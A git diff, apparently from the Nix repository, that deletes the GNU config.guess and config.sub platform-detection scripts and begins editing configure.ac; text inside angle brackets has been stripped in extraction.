;; - arm64:Darwin:*:*) - echo aarch64-apple-darwin"$UNAME_RELEASE" - exit ;; - *:Darwin:*:*) - UNAME_PROCESSOR=$(uname -p) - case $UNAME_PROCESSOR in - unknown) UNAME_PROCESSOR=powerpc ;; - esac - if command -v xcode-select > /dev/null 2> /dev/null && \ - ! xcode-select --print-path > /dev/null 2> /dev/null ; then - # Avoid executing cc if there is no toolchain installed as - # cc will be a stub that puts up a graphical alert - # prompting the user to install developer tools. - CC_FOR_BUILD=no_compiler_found - else - set_cc_for_build - fi - if test "$CC_FOR_BUILD" != no_compiler_found; then - if (echo '#ifdef __LP64__'; echo IS_64BIT_ARCH; echo '#endif') | \ - (CCOPTS="" $CC_FOR_BUILD -E - 2>/dev/null) | \ - grep IS_64BIT_ARCH >/dev/null - then - case $UNAME_PROCESSOR in - i386) UNAME_PROCESSOR=x86_64 ;; - powerpc) UNAME_PROCESSOR=powerpc64 ;; - esac - fi - # On 10.4-10.6 one might compile for PowerPC via gcc -arch ppc - if (echo '#ifdef __POWERPC__'; echo IS_PPC; echo '#endif') | \ - (CCOPTS="" $CC_FOR_BUILD -E - 2>/dev/null) | \ - grep IS_PPC >/dev/null - then - UNAME_PROCESSOR=powerpc - fi - elif test "$UNAME_PROCESSOR" = i386 ; then - # uname -m returns i386 or x86_64 - UNAME_PROCESSOR=$UNAME_MACHINE - fi - echo "$UNAME_PROCESSOR"-apple-darwin"$UNAME_RELEASE" - exit ;; - *:procnto*:*:* | *:QNX:[0123456789]*:*) - UNAME_PROCESSOR=$(uname -p) - if test "$UNAME_PROCESSOR" = x86; then - UNAME_PROCESSOR=i386 - UNAME_MACHINE=pc - fi - echo "$UNAME_PROCESSOR"-"$UNAME_MACHINE"-nto-qnx"$UNAME_RELEASE" - exit ;; - *:QNX:*:4*) - echo i386-pc-qnx - exit ;; - NEO-*:NONSTOP_KERNEL:*:*) - echo neo-tandem-nsk"$UNAME_RELEASE" - exit ;; - NSE-*:NONSTOP_KERNEL:*:*) - echo nse-tandem-nsk"$UNAME_RELEASE" - exit ;; - NSR-*:NONSTOP_KERNEL:*:*) - echo nsr-tandem-nsk"$UNAME_RELEASE" - exit ;; - NSV-*:NONSTOP_KERNEL:*:*) - echo nsv-tandem-nsk"$UNAME_RELEASE" - exit ;; - NSX-*:NONSTOP_KERNEL:*:*) - echo nsx-tandem-nsk"$UNAME_RELEASE" - exit ;; - *:NonStop-UX:*:*) - echo mips-compaq-nonstopux - exit ;; - BS2000:POSIX*:*:*) - echo bs2000-siemens-sysv - exit ;; - DS/*:UNIX_System_V:*:*) - echo "$UNAME_MACHINE"-"$UNAME_SYSTEM"-"$UNAME_RELEASE" - exit ;; - *:Plan9:*:*) - # "uname -m" is not consistent, so use $cputype instead. 386 - # is converted to i386 for consistency with other x86 - # operating systems. - # shellcheck disable=SC2154 - if test "$cputype" = 386; then - UNAME_MACHINE=i386 - else - UNAME_MACHINE="$cputype" - fi - echo "$UNAME_MACHINE"-unknown-plan9 - exit ;; - *:TOPS-10:*:*) - echo pdp10-unknown-tops10 - exit ;; - *:TENEX:*:*) - echo pdp10-unknown-tenex - exit ;; - KS10:TOPS-20:*:* | KL10:TOPS-20:*:* | TYPE4:TOPS-20:*:*) - echo pdp10-dec-tops20 - exit ;; - XKL-1:TOPS-20:*:* | TYPE5:TOPS-20:*:*) - echo pdp10-xkl-tops20 - exit ;; - *:TOPS-20:*:*) - echo pdp10-unknown-tops20 - exit ;; - *:ITS:*:*) - echo pdp10-unknown-its - exit ;; - SEI:*:*:SEIUX) - echo mips-sei-seiux"$UNAME_RELEASE" - exit ;; - *:DragonFly:*:*) - echo "$UNAME_MACHINE"-unknown-dragonfly"$(echo "$UNAME_RELEASE"|sed -e 's/[-(].*//')" - exit ;; - *:*VMS:*:*) - UNAME_MACHINE=$( (uname -p) 2>/dev/null) - case "$UNAME_MACHINE" in - A*) echo alpha-dec-vms ; exit ;; - I*) echo ia64-dec-vms ; exit ;; - V*) echo vax-dec-vms ; exit ;; - esac ;; - *:XENIX:*:SysV) - echo i386-pc-xenix - exit ;; - i*86:skyos:*:*) - echo "$UNAME_MACHINE"-pc-skyos"$(echo "$UNAME_RELEASE" | sed -e 's/ .*$//')" - exit ;; - i*86:rdos:*:*) - echo "$UNAME_MACHINE"-pc-rdos - exit ;; - *:AROS:*:*) - echo "$UNAME_MACHINE"-unknown-aros - exit ;; - x86_64:VMkernel:*:*) - echo "$UNAME_MACHINE"-unknown-esx - exit ;; - amd64:Isilon\ OneFS:*:*) - echo x86_64-unknown-onefs - exit ;; - *:Unleashed:*:*) - echo "$UNAME_MACHINE"-unknown-unleashed"$UNAME_RELEASE" - exit ;; -esac - -# No uname command or uname output not recognized. -set_cc_for_build -cat > "$dummy.c" < -#include -#endif -#if defined(ultrix) || defined(_ultrix) || defined(__ultrix) || defined(__ultrix__) -#if defined (vax) || defined (__vax) || defined (__vax__) || defined(mips) || defined(__mips) || defined(__mips__) || defined(MIPS) || defined(__MIPS__) -#include -#if defined(_SIZE_T_) || defined(SIGLOST) -#include -#endif -#endif -#endif -main () -{ -#if defined (sony) -#if defined (MIPSEB) - /* BFD wants "bsd" instead of "newsos". Perhaps BFD should be changed, - I don't know.... */ - printf ("mips-sony-bsd\n"); exit (0); -#else -#include - printf ("m68k-sony-newsos%s\n", -#ifdef NEWSOS4 - "4" -#else - "" -#endif - ); exit (0); -#endif -#endif - -#if defined (NeXT) -#if !defined (__ARCHITECTURE__) -#define __ARCHITECTURE__ "m68k" -#endif - int version; - version=$( (hostinfo | sed -n 's/.*NeXT Mach \([0-9]*\).*/\1/p') 2>/dev/null); - if (version < 4) - printf ("%s-next-nextstep%d\n", __ARCHITECTURE__, version); - else - printf ("%s-next-openstep%d\n", __ARCHITECTURE__, version); - exit (0); -#endif - -#if defined (MULTIMAX) || defined (n16) -#if defined (UMAXV) - printf ("ns32k-encore-sysv\n"); exit (0); -#else -#if defined (CMU) - printf ("ns32k-encore-mach\n"); exit (0); -#else - printf ("ns32k-encore-bsd\n"); exit (0); -#endif -#endif -#endif - -#if defined (__386BSD__) - printf ("i386-pc-bsd\n"); exit (0); -#endif - -#if defined (sequent) -#if defined (i386) - printf ("i386-sequent-dynix\n"); exit (0); -#endif -#if defined (ns32000) - printf ("ns32k-sequent-dynix\n"); exit (0); -#endif -#endif - -#if defined (_SEQUENT_) - struct utsname un; - - uname(&un); - if (strncmp(un.version, "V2", 2) == 0) { - printf ("i386-sequent-ptx2\n"); exit (0); - } - if (strncmp(un.version, "V1", 2) == 0) { /* XXX is V1 correct? */ - printf ("i386-sequent-ptx1\n"); exit (0); - } - printf ("i386-sequent-ptx\n"); exit (0); -#endif - -#if defined (vax) -#if !defined (ultrix) -#include -#if defined (BSD) -#if BSD == 43 - printf ("vax-dec-bsd4.3\n"); exit (0); -#else -#if BSD == 199006 - printf ("vax-dec-bsd4.3reno\n"); exit (0); -#else - printf ("vax-dec-bsd\n"); exit (0); -#endif -#endif -#else - printf ("vax-dec-bsd\n"); exit (0); -#endif -#else -#if defined(_SIZE_T_) || defined(SIGLOST) - struct utsname un; - uname (&un); - printf ("vax-dec-ultrix%s\n", un.release); exit (0); -#else - printf ("vax-dec-ultrix\n"); exit (0); -#endif -#endif -#endif -#if defined(ultrix) || defined(_ultrix) || defined(__ultrix) || defined(__ultrix__) -#if defined(mips) || defined(__mips) || defined(__mips__) || defined(MIPS) || defined(__MIPS__) -#if defined(_SIZE_T_) || defined(SIGLOST) - struct utsname *un; - uname (&un); - printf ("mips-dec-ultrix%s\n", un.release); exit (0); -#else - printf ("mips-dec-ultrix\n"); exit (0); -#endif -#endif -#endif - -#if defined (alliant) && defined (i860) - printf ("i860-alliant-bsd\n"); exit (0); -#endif - - exit (1); -} -EOF - -$CC_FOR_BUILD -o "$dummy" "$dummy.c" 2>/dev/null && SYSTEM_NAME=$($dummy) && - { echo "$SYSTEM_NAME"; exit; } - -# Apollos put the system type in the environment. -test -d /usr/apollo && { echo "$ISP-apollo-$SYSTYPE"; exit; } - -echo "$0: unable to guess system type" >&2 - -case "$UNAME_MACHINE:$UNAME_SYSTEM" in - mips:Linux | mips64:Linux) - # If we got here on MIPS GNU/Linux, output extra information. - cat >&2 <&2 <&2 </dev/null || echo unknown) -uname -r = $( (uname -r) 2>/dev/null || echo unknown) -uname -s = $( (uname -s) 2>/dev/null || echo unknown) -uname -v = $( (uname -v) 2>/dev/null || echo unknown) - -/usr/bin/uname -p = $( (/usr/bin/uname -p) 2>/dev/null) -/bin/uname -X = $( (/bin/uname -X) 2>/dev/null) - -hostinfo = $( (hostinfo) 2>/dev/null) -/bin/universe = $( (/bin/universe) 2>/dev/null) -/usr/bin/arch -k = $( (/usr/bin/arch -k) 2>/dev/null) -/bin/arch = $( (/bin/arch) 2>/dev/null) -/usr/bin/oslevel = $( (/usr/bin/oslevel) 2>/dev/null) -/usr/convex/getsysinfo = $( (/usr/convex/getsysinfo) 2>/dev/null) - -UNAME_MACHINE = "$UNAME_MACHINE" -UNAME_RELEASE = "$UNAME_RELEASE" -UNAME_SYSTEM = "$UNAME_SYSTEM" -UNAME_VERSION = "$UNAME_VERSION" -EOF -fi - -exit 1 - -# Local variables: -# eval: (add-hook 'before-save-hook 'time-stamp) -# time-stamp-start: "timestamp='" -# time-stamp-format: "%:y-%02m-%02d" -# time-stamp-end: "'" -# End: diff --git a/config/config.sub b/config/config.sub deleted file mode 100755 index 63c1f1c8b..000000000 --- a/config/config.sub +++ /dev/null @@ -1,1860 +0,0 @@ -#! /bin/sh -# Configuration validation subroutine script. -# Copyright 1992-2021 Free Software Foundation, Inc. - -timestamp='2021-01-08' - -# This file is free software; you can redistribute it and/or modify it -# under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, see . -# -# As a special exception to the GNU General Public License, if you -# distribute this file as part of a program that contains a -# configuration script generated by Autoconf, you may include it under -# the same distribution terms that you use for the rest of that -# program. This Exception is an additional permission under section 7 -# of the GNU General Public License, version 3 ("GPLv3"). - - -# Please send patches to . -# -# Configuration subroutine to validate and canonicalize a configuration type. -# Supply the specified configuration type as an argument. -# If it is invalid, we print an error message on stderr and exit with code 1. -# Otherwise, we print the canonical config type on stdout and succeed. - -# You can get the latest version of this script from: -# https://git.savannah.gnu.org/cgit/config.git/plain/config.sub - -# This file is supposed to be the same for all GNU packages -# and recognize all the CPU types, system types and aliases -# that are meaningful with *any* GNU software. -# Each package is responsible for reporting which valid configurations -# it does not support. The user should be able to distinguish -# a failure to support a valid configuration from a meaningless -# configuration. - -# The goal of this file is to map all the various variations of a given -# machine specification into a single specification in the form: -# CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM -# or in some cases, the newer four-part form: -# CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM -# It is wrong to echo any other type of specification. - -me=$(echo "$0" | sed -e 's,.*/,,') - -usage="\ -Usage: $0 [OPTION] CPU-MFR-OPSYS or ALIAS - -Canonicalize a configuration name. - -Options: - -h, --help print this help, then exit - -t, --time-stamp print date of last modification, then exit - -v, --version print version number, then exit - -Report bugs and patches to ." - -version="\ -GNU config.sub ($timestamp) - -Copyright 1992-2021 Free Software Foundation, Inc. - -This is free software; see the source for copying conditions. There is NO -warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE." - -help=" -Try \`$me --help' for more information." - -# Parse command line -while test $# -gt 0 ; do - case $1 in - --time-stamp | --time* | -t ) - echo "$timestamp" ; exit ;; - --version | -v ) - echo "$version" ; exit ;; - --help | --h* | -h ) - echo "$usage"; exit ;; - -- ) # Stop option processing - shift; break ;; - - ) # Use stdin as input. - break ;; - -* ) - echo "$me: invalid option $1$help" >&2 - exit 1 ;; - - *local*) - # First pass through any local machine types. - echo "$1" - exit ;; - - * ) - break ;; - esac -done - -case $# in - 0) echo "$me: missing argument$help" >&2 - exit 1;; - 1) ;; - *) echo "$me: too many arguments$help" >&2 - exit 1;; -esac - -# Split fields of configuration type -# shellcheck disable=SC2162 -IFS="-" read field1 field2 field3 field4 <&2 - exit 1 - ;; - *-*-*-*) - basic_machine=$field1-$field2 - basic_os=$field3-$field4 - ;; - *-*-*) - # Ambiguous whether COMPANY is present, or skipped and KERNEL-OS is two - # parts - maybe_os=$field2-$field3 - case $maybe_os in - nto-qnx* | linux-* | uclinux-uclibc* \ - | uclinux-gnu* | kfreebsd*-gnu* | knetbsd*-gnu* | netbsd*-gnu* \ - | netbsd*-eabi* | kopensolaris*-gnu* | cloudabi*-eabi* \ - | storm-chaos* | os2-emx* | rtmk-nova*) - basic_machine=$field1 - basic_os=$maybe_os - ;; - android-linux) - basic_machine=$field1-unknown - basic_os=linux-android - ;; - *) - basic_machine=$field1-$field2 - basic_os=$field3 - ;; - esac - ;; - *-*) - # A lone config we happen to match not fitting any pattern - case $field1-$field2 in - decstation-3100) - basic_machine=mips-dec - basic_os= - ;; - *-*) - # Second component is usually, but not always the OS - case $field2 in - # Prevent following clause from handling this valid os - sun*os*) - basic_machine=$field1 - basic_os=$field2 - ;; - # Manufacturers - dec* | mips* | sequent* | encore* | pc533* | sgi* | sony* \ - | att* | 7300* | 3300* | delta* | motorola* | sun[234]* \ - | unicom* | ibm* | next | hp | isi* | apollo | altos* \ - | convergent* | ncr* | news | 32* | 3600* | 3100* \ - | hitachi* | c[123]* | convex* | sun | crds | omron* | dg \ - | ultra | tti* | harris | dolphin | highlevel | gould \ - | cbm | ns | masscomp | apple | axis | knuth | cray \ - | microblaze* | sim | cisco \ - | oki | wec | wrs | winbond) - basic_machine=$field1-$field2 - basic_os= - ;; - *) - basic_machine=$field1 - basic_os=$field2 - ;; - esac - ;; - esac - ;; - *) - # Convert single-component short-hands not valid as part of - # multi-component configurations. - case $field1 in - 386bsd) - basic_machine=i386-pc - basic_os=bsd - ;; - a29khif) - basic_machine=a29k-amd - basic_os=udi - ;; - adobe68k) - basic_machine=m68010-adobe - basic_os=scout - ;; - alliant) - basic_machine=fx80-alliant - basic_os= - ;; - altos | altos3068) - basic_machine=m68k-altos - basic_os= - ;; - am29k) - basic_machine=a29k-none - basic_os=bsd - ;; - amdahl) - basic_machine=580-amdahl - basic_os=sysv - ;; - amiga) - basic_machine=m68k-unknown - basic_os= - ;; - amigaos | amigados) - basic_machine=m68k-unknown - basic_os=amigaos - ;; - amigaunix | amix) - basic_machine=m68k-unknown - basic_os=sysv4 - ;; - apollo68) - basic_machine=m68k-apollo - basic_os=sysv - ;; - apollo68bsd) - basic_machine=m68k-apollo - basic_os=bsd - ;; - aros) - basic_machine=i386-pc - basic_os=aros - ;; - aux) - basic_machine=m68k-apple - basic_os=aux - ;; - balance) - basic_machine=ns32k-sequent - basic_os=dynix - ;; - blackfin) - basic_machine=bfin-unknown - basic_os=linux - ;; - cegcc) - basic_machine=arm-unknown - basic_os=cegcc - ;; - convex-c1) - basic_machine=c1-convex - basic_os=bsd - ;; - convex-c2) - basic_machine=c2-convex - basic_os=bsd - ;; - convex-c32) - basic_machine=c32-convex - basic_os=bsd - ;; - convex-c34) - basic_machine=c34-convex - basic_os=bsd - ;; - convex-c38) - basic_machine=c38-convex - basic_os=bsd - ;; - cray) - basic_machine=j90-cray - basic_os=unicos - ;; - crds | unos) - basic_machine=m68k-crds - basic_os= - ;; - da30) - basic_machine=m68k-da30 - basic_os= - ;; - decstation | pmax | pmin | dec3100 | decstatn) - basic_machine=mips-dec - basic_os= - ;; - delta88) - basic_machine=m88k-motorola - basic_os=sysv3 - ;; - dicos) - basic_machine=i686-pc - basic_os=dicos - ;; - djgpp) - basic_machine=i586-pc - basic_os=msdosdjgpp - ;; - ebmon29k) - basic_machine=a29k-amd - basic_os=ebmon - ;; - es1800 | OSE68k | ose68k | ose | OSE) - basic_machine=m68k-ericsson - basic_os=ose - ;; - gmicro) - basic_machine=tron-gmicro - basic_os=sysv - ;; - go32) - basic_machine=i386-pc - basic_os=go32 - ;; - h8300hms) - basic_machine=h8300-hitachi - basic_os=hms - ;; - h8300xray) - basic_machine=h8300-hitachi - basic_os=xray - ;; - h8500hms) - basic_machine=h8500-hitachi - basic_os=hms - ;; - harris) - basic_machine=m88k-harris - basic_os=sysv3 - ;; - hp300 | hp300hpux) - basic_machine=m68k-hp - basic_os=hpux - ;; - hp300bsd) - basic_machine=m68k-hp - basic_os=bsd - ;; - hppaosf) - basic_machine=hppa1.1-hp - basic_os=osf - ;; - hppro) - basic_machine=hppa1.1-hp - basic_os=proelf - ;; - i386mach) - basic_machine=i386-mach - basic_os=mach - ;; - isi68 | isi) - basic_machine=m68k-isi - basic_os=sysv - ;; - m68knommu) - basic_machine=m68k-unknown - basic_os=linux - ;; - magnum | m3230) - basic_machine=mips-mips - basic_os=sysv - ;; - merlin) - basic_machine=ns32k-utek - basic_os=sysv - ;; - mingw64) - basic_machine=x86_64-pc - basic_os=mingw64 - ;; - mingw32) - basic_machine=i686-pc - basic_os=mingw32 - ;; - mingw32ce) - basic_machine=arm-unknown - basic_os=mingw32ce - ;; - monitor) - basic_machine=m68k-rom68k - basic_os=coff - ;; - morphos) - basic_machine=powerpc-unknown - basic_os=morphos - ;; - moxiebox) - basic_machine=moxie-unknown - basic_os=moxiebox - ;; - msdos) - basic_machine=i386-pc - basic_os=msdos - ;; - msys) - basic_machine=i686-pc - basic_os=msys - ;; - mvs) - basic_machine=i370-ibm - basic_os=mvs - ;; - nacl) - basic_machine=le32-unknown - basic_os=nacl - ;; - ncr3000) - basic_machine=i486-ncr - basic_os=sysv4 - ;; - netbsd386) - basic_machine=i386-pc - basic_os=netbsd - ;; - netwinder) - basic_machine=armv4l-rebel - basic_os=linux - ;; - news | news700 | news800 | news900) - basic_machine=m68k-sony - basic_os=newsos - ;; - news1000) - basic_machine=m68030-sony - basic_os=newsos - ;; - necv70) - basic_machine=v70-nec - basic_os=sysv - ;; - nh3000) - basic_machine=m68k-harris - basic_os=cxux - ;; - nh[45]000) - basic_machine=m88k-harris - basic_os=cxux - ;; - nindy960) - basic_machine=i960-intel - basic_os=nindy - ;; - mon960) - basic_machine=i960-intel - basic_os=mon960 - ;; - nonstopux) - basic_machine=mips-compaq - basic_os=nonstopux - ;; - os400) - basic_machine=powerpc-ibm - basic_os=os400 - ;; - OSE68000 | ose68000) - basic_machine=m68000-ericsson - basic_os=ose - ;; - os68k) - basic_machine=m68k-none - basic_os=os68k - ;; - paragon) - basic_machine=i860-intel - basic_os=osf - ;; - parisc) - basic_machine=hppa-unknown - basic_os=linux - ;; - psp) - basic_machine=mipsallegrexel-sony - basic_os=psp - ;; - pw32) - basic_machine=i586-unknown - basic_os=pw32 - ;; - rdos | rdos64) - basic_machine=x86_64-pc - basic_os=rdos - ;; - rdos32) - basic_machine=i386-pc - basic_os=rdos - ;; - rom68k) - basic_machine=m68k-rom68k - basic_os=coff - ;; - sa29200) - basic_machine=a29k-amd - basic_os=udi - ;; - sei) - basic_machine=mips-sei - basic_os=seiux - ;; - sequent) - basic_machine=i386-sequent - basic_os= - ;; - sps7) - basic_machine=m68k-bull - basic_os=sysv2 - ;; - st2000) - basic_machine=m68k-tandem - basic_os= - ;; - stratus) - basic_machine=i860-stratus - basic_os=sysv4 - ;; - sun2) - basic_machine=m68000-sun - basic_os= - ;; - sun2os3) - basic_machine=m68000-sun - basic_os=sunos3 - ;; - sun2os4) - basic_machine=m68000-sun - basic_os=sunos4 - ;; - sun3) - basic_machine=m68k-sun - basic_os= - ;; - sun3os3) - basic_machine=m68k-sun - basic_os=sunos3 - ;; - sun3os4) - basic_machine=m68k-sun - basic_os=sunos4 - ;; - sun4) - basic_machine=sparc-sun - basic_os= - ;; - sun4os3) - basic_machine=sparc-sun - basic_os=sunos3 - ;; - sun4os4) - basic_machine=sparc-sun - basic_os=sunos4 - ;; - sun4sol2) - basic_machine=sparc-sun - basic_os=solaris2 - ;; - sun386 | sun386i | roadrunner) - basic_machine=i386-sun - basic_os= - ;; - sv1) - basic_machine=sv1-cray - basic_os=unicos - ;; - symmetry) - basic_machine=i386-sequent - basic_os=dynix - ;; - t3e) - basic_machine=alphaev5-cray - basic_os=unicos - ;; - t90) - basic_machine=t90-cray - basic_os=unicos - ;; - toad1) - basic_machine=pdp10-xkl - basic_os=tops20 - ;; - tpf) - basic_machine=s390x-ibm - basic_os=tpf - ;; - udi29k) - basic_machine=a29k-amd - basic_os=udi - ;; - ultra3) - basic_machine=a29k-nyu - basic_os=sym1 - ;; - v810 | necv810) - basic_machine=v810-nec - basic_os=none - ;; - vaxv) - basic_machine=vax-dec - basic_os=sysv - ;; - vms) - basic_machine=vax-dec - basic_os=vms - ;; - vsta) - basic_machine=i386-pc - basic_os=vsta - ;; - vxworks960) - basic_machine=i960-wrs - basic_os=vxworks - ;; - vxworks68) - basic_machine=m68k-wrs - basic_os=vxworks - ;; - vxworks29k) - basic_machine=a29k-wrs - basic_os=vxworks - ;; - xbox) - basic_machine=i686-pc - basic_os=mingw32 - ;; - ymp) - basic_machine=ymp-cray - basic_os=unicos - ;; - *) - basic_machine=$1 - basic_os= - ;; - esac - ;; -esac - -# Decode 1-component or ad-hoc basic machines -case $basic_machine in - # Here we handle the default manufacturer of certain CPU types. It is in - # some cases the only manufacturer, in others, it is the most popular. - w89k) - cpu=hppa1.1 - vendor=winbond - ;; - op50n) - cpu=hppa1.1 - vendor=oki - ;; - op60c) - cpu=hppa1.1 - vendor=oki - ;; - ibm*) - cpu=i370 - vendor=ibm - ;; - orion105) - cpu=clipper - vendor=highlevel - ;; - mac | mpw | mac-mpw) - cpu=m68k - vendor=apple - ;; - pmac | pmac-mpw) - cpu=powerpc - vendor=apple - ;; - - # Recognize the various machine names and aliases which stand - # for a CPU type and a company and sometimes even an OS. - 3b1 | 7300 | 7300-att | att-7300 | pc7300 | safari | unixpc) - cpu=m68000 - vendor=att - ;; - 3b*) - cpu=we32k - vendor=att - ;; - bluegene*) - cpu=powerpc - vendor=ibm - basic_os=cnk - ;; - decsystem10* | dec10*) - cpu=pdp10 - vendor=dec - basic_os=tops10 - ;; - decsystem20* | dec20*) - cpu=pdp10 - vendor=dec - basic_os=tops20 - ;; - delta | 3300 | motorola-3300 | motorola-delta \ - | 3300-motorola | delta-motorola) - cpu=m68k - vendor=motorola - ;; - dpx2*) - cpu=m68k - vendor=bull - basic_os=sysv3 - ;; - encore | umax | mmax) - cpu=ns32k - vendor=encore - ;; - elxsi) - cpu=elxsi - vendor=elxsi - basic_os=${basic_os:-bsd} - ;; - fx2800) - cpu=i860 - vendor=alliant - ;; - genix) - cpu=ns32k - vendor=ns - ;; - h3050r* | hiux*) - cpu=hppa1.1 - vendor=hitachi - basic_os=hiuxwe2 - ;; - hp3k9[0-9][0-9] | hp9[0-9][0-9]) - cpu=hppa1.0 - vendor=hp - ;; - hp9k2[0-9][0-9] | hp9k31[0-9]) - cpu=m68000 - vendor=hp - ;; - hp9k3[2-9][0-9]) - cpu=m68k - vendor=hp - ;; - hp9k6[0-9][0-9] | hp6[0-9][0-9]) - cpu=hppa1.0 - vendor=hp - ;; - hp9k7[0-79][0-9] | hp7[0-79][0-9]) - cpu=hppa1.1 - vendor=hp - ;; - hp9k78[0-9] | hp78[0-9]) - # FIXME: really hppa2.0-hp - cpu=hppa1.1 - vendor=hp - ;; - hp9k8[67]1 | hp8[67]1 | hp9k80[24] | hp80[24] | hp9k8[78]9 | hp8[78]9 | hp9k893 | hp893) - # FIXME: really hppa2.0-hp - cpu=hppa1.1 - vendor=hp - ;; - hp9k8[0-9][13679] | hp8[0-9][13679]) - cpu=hppa1.1 - vendor=hp - ;; - hp9k8[0-9][0-9] | hp8[0-9][0-9]) - cpu=hppa1.0 - vendor=hp - ;; - i*86v32) - cpu=$(echo "$1" | sed -e 's/86.*/86/') - vendor=pc - basic_os=sysv32 - ;; - i*86v4*) - cpu=$(echo "$1" | sed -e 's/86.*/86/') - vendor=pc - basic_os=sysv4 - ;; - i*86v) - cpu=$(echo "$1" | sed -e 's/86.*/86/') - vendor=pc - basic_os=sysv - ;; - i*86sol2) - cpu=$(echo "$1" | sed -e 's/86.*/86/') - vendor=pc - basic_os=solaris2 - ;; - j90 | j90-cray) - cpu=j90 - vendor=cray - basic_os=${basic_os:-unicos} - ;; - iris | iris4d) - cpu=mips - vendor=sgi - case $basic_os in - irix*) - ;; - *) - basic_os=irix4 - ;; - esac - ;; - miniframe) - cpu=m68000 - vendor=convergent - ;; - *mint | mint[0-9]* | *MiNT | *MiNT[0-9]*) - cpu=m68k - vendor=atari - basic_os=mint - ;; - news-3600 | risc-news) - cpu=mips - vendor=sony - basic_os=newsos - ;; - next | m*-next) - cpu=m68k - vendor=next - case $basic_os in - openstep*) - ;; - nextstep*) - ;; - ns2*) - basic_os=nextstep2 - ;; - *) - basic_os=nextstep3 - ;; - esac - ;; - np1) - cpu=np1 - vendor=gould - ;; - op50n-* | op60c-*) - cpu=hppa1.1 - vendor=oki - basic_os=proelf - ;; - pa-hitachi) - cpu=hppa1.1 - vendor=hitachi - basic_os=hiuxwe2 - ;; - pbd) - cpu=sparc - vendor=tti - ;; - pbb) - cpu=m68k - vendor=tti - ;; - pc532) - cpu=ns32k - vendor=pc532 - ;; - pn) - cpu=pn - vendor=gould - ;; - power) - cpu=power - vendor=ibm - ;; - ps2) - cpu=i386 - vendor=ibm - ;; - rm[46]00) - cpu=mips - vendor=siemens - ;; - rtpc | rtpc-*) - cpu=romp - vendor=ibm - ;; - sde) - cpu=mipsisa32 - vendor=sde - basic_os=${basic_os:-elf} - ;; - simso-wrs) - cpu=sparclite - vendor=wrs - basic_os=vxworks - ;; - tower | tower-32) - cpu=m68k - vendor=ncr - ;; - vpp*|vx|vx-*) - cpu=f301 - vendor=fujitsu - ;; - w65) - cpu=w65 - vendor=wdc - ;; - w89k-*) - cpu=hppa1.1 - vendor=winbond - basic_os=proelf - ;; - none) - cpu=none - vendor=none - ;; - leon|leon[3-9]) - cpu=sparc - vendor=$basic_machine - ;; - leon-*|leon[3-9]-*) - cpu=sparc - vendor=$(echo "$basic_machine" | sed 's/-.*//') - ;; - - *-*) - # shellcheck disable=SC2162 - IFS="-" read cpu vendor <&2 - exit 1 - ;; - esac - ;; -esac - -# Here we canonicalize certain aliases for manufacturers. -case $vendor in - digital*) - vendor=dec - ;; - commodore*) - vendor=cbm - ;; - *) - ;; -esac - -# Decode manufacturer-specific aliases for certain operating systems. - -if test x$basic_os != x -then - -# First recognize some ad-hoc caes, or perhaps split kernel-os, or else just -# set os. -case $basic_os in - gnu/linux*) - kernel=linux - os=$(echo $basic_os | sed -e 's|gnu/linux|gnu|') - ;; - os2-emx) - kernel=os2 - os=$(echo $basic_os | sed -e 's|os2-emx|emx|') - ;; - nto-qnx*) - kernel=nto - os=$(echo $basic_os | sed -e 's|nto-qnx|qnx|') - ;; - *-*) - # shellcheck disable=SC2162 - IFS="-" read kernel os <&2 - exit 1 - ;; -esac - -# As a final step for OS-related things, validate the OS-kernel combination -# (given a valid OS), if there is a kernel. -case $kernel-$os in - linux-gnu* | linux-dietlibc* | linux-android* | linux-newlib* | linux-musl* | linux-uclibc* ) - ;; - uclinux-uclibc* ) - ;; - -dietlibc* | -newlib* | -musl* | -uclibc* ) - # These are just libc implementations, not actual OSes, and thus - # require a kernel. - echo "Invalid configuration \`$1': libc \`$os' needs explicit kernel." 1>&2 - exit 1 - ;; - kfreebsd*-gnu* | kopensolaris*-gnu*) - ;; - vxworks-simlinux | vxworks-simwindows | vxworks-spe) - ;; - nto-qnx*) - ;; - os2-emx) - ;; - *-eabi* | *-gnueabi*) - ;; - -*) - # Blank kernel with real OS is always fine. - ;; - *-*) - echo "Invalid configuration \`$1': Kernel \`$kernel' not known to work with OS \`$os'." 1>&2 - exit 1 - ;; -esac - -# Here we handle the case where we know the os, and the CPU type, but not the -# manufacturer. We pick the logical manufacturer. -case $vendor in - unknown) - case $cpu-$os in - *-riscix*) - vendor=acorn - ;; - *-sunos*) - vendor=sun - ;; - *-cnk* | *-aix*) - vendor=ibm - ;; - *-beos*) - vendor=be - ;; - *-hpux*) - vendor=hp - ;; - *-mpeix*) - vendor=hp - ;; - *-hiux*) - vendor=hitachi - ;; - *-unos*) - vendor=crds - ;; - *-dgux*) - vendor=dg - ;; - *-luna*) - vendor=omron - ;; - *-genix*) - vendor=ns - ;; - *-clix*) - vendor=intergraph - ;; - *-mvs* | *-opened*) - vendor=ibm - ;; - *-os400*) - vendor=ibm - ;; - s390-* | s390x-*) - vendor=ibm - ;; - *-ptx*) - vendor=sequent - ;; - *-tpf*) - vendor=ibm - ;; - *-vxsim* | *-vxworks* | *-windiss*) - vendor=wrs - ;; - *-aux*) - vendor=apple - ;; - *-hms*) - vendor=hitachi - ;; - *-mpw* | *-macos*) - vendor=apple - ;; - *-*mint | *-mint[0-9]* | *-*MiNT | *-MiNT[0-9]*) - vendor=atari - ;; - *-vos*) - vendor=stratus - ;; - esac - ;; -esac - -echo "$cpu-$vendor-${kernel:+$kernel-}$os" -exit - -# Local variables: -# eval: (add-hook 'before-save-hook 'time-stamp) -# time-stamp-start: "timestamp='" -# time-stamp-format: "%:y-%02m-%02d" -# time-stamp-end: "'" -# End: diff --git a/configure.ac b/configure.ac index c0e989d85..5c22ed176 100644 --- a/configure.ac +++ b/configure.ac @@ -5,7 +5,14 @@ AC_CONFIG_AUX_DIR(config) AC_PROG_SED -# Construct a Nix system name (like "i686-linux"). +# Construct a Nix system name (like "i686-linux"): +# 